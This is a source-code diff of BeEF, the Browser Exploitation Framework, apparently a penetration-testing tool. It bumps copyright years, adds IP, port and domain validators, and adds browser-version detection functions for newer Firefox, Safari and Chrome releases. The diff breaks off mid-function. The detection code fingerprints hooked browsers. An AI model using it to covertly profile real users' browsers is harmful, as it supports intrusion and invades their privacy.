@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
|
||||
# Check if the string is not empty and not nil
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether the string is not empty
|
||||
@@ -22,18 +22,18 @@ module Filters
|
||||
# @return [Boolean] Whether or not the only characters in str are specified in chars
|
||||
def self.only?(chars, str)
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str).nil?
|
||||
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
|
||||
# Check if one or more characters in 'chars' are in 'str'
|
||||
# @param [String] chars List of characters to match
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether one of the characters exists in the string
|
||||
def self.exists?(chars, str)
|
||||
regex = Regexp.new(chars)
|
||||
not regex.match(str).nil?
|
||||
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
|
||||
# Check for null char
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has a null character
|
||||
@@ -98,14 +98,67 @@ module Filters
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?("a-zA-Z0-9", str)
|
||||
end
|
||||
|
||||
# Check if valid ip address string
|
||||
# @param [String] ip String for testing
|
||||
# @return [Boolean] If the string is a valid IP address
|
||||
# @note only IPv4 compliant
|
||||
def self.is_valid_ip?(ip)
|
||||
return false if not is_non_empty_string?(ip)
|
||||
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
|
||||
|
||||
# @overload self.is_valid_ip?(version, ip)
|
||||
# Checks if the given string is a valid IP address
|
||||
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
|
||||
# @param [String] ip string to be tested
|
||||
# @return [Boolean] true if the string is a valid IP address, otherwise false
|
||||
#
|
||||
# @overload self.is_valid_ip?(ip)
|
||||
# Checks if the given string is either a valid IPv4 or IPv6 address
|
||||
# @param [String] ip string to be tested
|
||||
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
|
||||
def self.is_valid_ip?(version = :both, ip)
|
||||
valid = false
|
||||
|
||||
if is_non_empty_string?(ip)
|
||||
valid = case version.inspect.downcase
|
||||
when /^:ipv4$/
|
||||
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
|
||||
when /^:ipv6$/
|
||||
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,7}:|
|
||||
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
|
||||
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
|
||||
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
|
||||
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
|
||||
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
|
||||
:((:[0-9a-f]{1,4}){1,7}|:)|
|
||||
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
|
||||
::(ffff(:0{1,4}){0,1}:){0,1}
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
|
||||
([0-9a-f]{1,4}:){1,4}:
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
|
||||
when /^:both$/
|
||||
is_valid_ip?(:ipv4, ip) || is_valid_ip?(:ipv6, ip)
|
||||
end ? true : false
|
||||
end
|
||||
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid TCP port
|
||||
# @param [String] port string for testing
|
||||
# @return [Boolean] true if the string is a valid TCP port, otherwise false
|
||||
def self.is_valid_port?(port)
|
||||
valid = false
|
||||
valid = true if port.to_i > 0 && port.to_i < 2**16
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if string is a valid domain name
|
||||
# @param [String] domain string for testing
|
||||
# @return [Boolean] If the string is a valid domain name
|
||||
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of
|
||||
# TLD's is not static.
|
||||
def self.is_valid_domain?(domain)
|
||||
return false unless is_non_empty_string?(domain)
|
||||
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
|
||||
false
|
||||
end
|
||||
|
||||
@@ -138,6 +191,6 @@ module Filters
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -16,7 +16,7 @@ require 'base64'
|
||||
require 'xmlrpc/client'
|
||||
require 'openssl'
|
||||
require 'rubydns'
|
||||
require 'sourcify'
|
||||
require 'mime/types'
|
||||
|
||||
# @note Include the filters
|
||||
require 'core/filters'
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -322,7 +322,95 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF28()
|
||||
*/
|
||||
isFF28: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF29
|
||||
* @example: beef.browser.isFF29()
|
||||
*/
|
||||
isFF29: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF30
|
||||
* @example: beef.browser.isFF30()
|
||||
*/
|
||||
isFF30: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF31
|
||||
* @example: beef.browser.isFF31()
|
||||
*/
|
||||
isFF31: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF32
|
||||
* @example: beef.browser.isFF32()
|
||||
*/
|
||||
isFF32: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF33
|
||||
* @example: beef.browser.isFF33()
|
||||
*/
|
||||
isFF33: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF34
|
||||
* @example: beef.browser.isFF34()
|
||||
*/
|
||||
isFF34: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF35
|
||||
* @example: beef.browser.isFF35()
|
||||
*/
|
||||
isFF35: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF36
|
||||
* @example: beef.browser.isFF36()
|
||||
*/
|
||||
isFF36: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF37
|
||||
* @example: beef.browser.isFF37()
|
||||
*/
|
||||
isFF37: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF38
|
||||
* @example: beef.browser.isFF38()
|
||||
*/
|
||||
isFF38: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF39
|
||||
* @example: beef.browser.isFF39()
|
||||
*/
|
||||
isFF39: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -330,7 +418,8 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function () {
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28();
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39();
|
||||
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -357,12 +446,28 @@ beef.browser = {
|
||||
return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Safari 7.xx
|
||||
* @example: beef.browser.isS7()
|
||||
*/
|
||||
isS7: function () {
|
||||
return (window.navigator.userAgent.match(/ Version\/7\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Safari 8.xx
|
||||
* @example: beef.browser.isS8()
|
||||
*/
|
||||
isS8: function () {
|
||||
return (window.navigator.userAgent.match(/ Version\/8\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Safari.
|
||||
* @example: beef.browser.isS()
|
||||
*/
|
||||
isS: function () {
|
||||
return this.isS4() || this.isS5() || this.isS6();
|
||||
return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -678,12 +783,12 @@ beef.browser = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 31.
|
||||
* @example: beef.browser.isC31iOS()
|
||||
*/
|
||||
isC31iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
|
||||
},
|
||||
* Returns true if Chrome for iOS 31.
|
||||
* @example: beef.browser.isC31iOS()
|
||||
*/
|
||||
isC31iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 32.
|
||||
@@ -694,9 +799,9 @@ beef.browser = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 32.
|
||||
* @example: beef.browser.isC32iOS()
|
||||
*/
|
||||
* Returns true if Chrome for iOS 32.
|
||||
* @example: beef.browser.isC32iOS()
|
||||
*/
|
||||
isC32iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
|
||||
},
|
||||
@@ -710,9 +815,9 @@ beef.browser = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 33.
|
||||
* @example: beef.browser.isC33iOS()
|
||||
*/
|
||||
* Returns true if Chrome for iOS 33.
|
||||
* @example: beef.browser.isC33iOS()
|
||||
*/
|
||||
isC33iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
|
||||
},
|
||||
@@ -726,9 +831,9 @@ beef.browser = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 34.
|
||||
* @example: beef.browser.isC34iOS()
|
||||
*/
|
||||
* Returns true if Chrome for iOS 34.
|
||||
* @example: beef.browser.isC34iOS()
|
||||
*/
|
||||
isC34iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
|
||||
},
|
||||
@@ -742,9 +847,9 @@ beef.browser = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 35.
|
||||
* @example: beef.browser.isC35iOS()
|
||||
*/
|
||||
* Returns true if Chrome for iOS 35.
|
||||
* @example: beef.browser.isC35iOS()
|
||||
*/
|
||||
isC35iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
|
||||
},
|
||||
@@ -758,20 +863,123 @@ beef.browser = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 36.
|
||||
* @example: beef.browser.isC36iOS()
|
||||
*/
|
||||
* Returns true if Chrome for iOS 36.
|
||||
* @example: beef.browser.isC36iOS()
|
||||
*/
|
||||
isC36iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
|
||||
},
|
||||
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 37.
|
||||
* @example: beef.browser.isC37()
|
||||
*/
|
||||
isC37: function () {
|
||||
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 37.
|
||||
* @example: beef.browser.isC37iOS()
|
||||
*/
|
||||
isC37iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 38.
|
||||
* @example: beef.browser.isC38()
|
||||
*/
|
||||
isC38: function () {
|
||||
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 38.
|
||||
* @example: beef.browser.isC38iOS()
|
||||
*/
|
||||
isC38iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 39.
|
||||
* @example: beef.browser.isC39()
|
||||
*/
|
||||
isC39: function () {
|
||||
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 39.
|
||||
* @example: beef.browser.isC39iOS()
|
||||
*/
|
||||
isC39iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 40.
|
||||
* @example: beef.browser.isC40()
|
||||
*/
|
||||
isC40: function () {
|
||||
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 40.
|
||||
* @example: beef.browser.isC40iOS()
|
||||
*/
|
||||
isC40iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 41.
|
||||
* @example: beef.browser.isC41()
|
||||
*/
|
||||
isC41: function () {
|
||||
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 41.
|
||||
* @example: beef.browser.isC41iOS()
|
||||
*/
|
||||
isC41iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 42. (adds !!window.fetch check too)
|
||||
* @example: beef.browser.isC42()
|
||||
*/
|
||||
isC42: function () {
|
||||
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 43.(adds !!window.fetch check too)
|
||||
* @example: beef.browser.isC43()
|
||||
*/
|
||||
isC43: function () {
|
||||
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome for iOS 42.
|
||||
* @example: beef.browser.isC42iOS()
|
||||
*/
|
||||
isC42iOS: function () {
|
||||
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome.
|
||||
* @example: beef.browser.isC()
|
||||
*/
|
||||
isC: function () {
|
||||
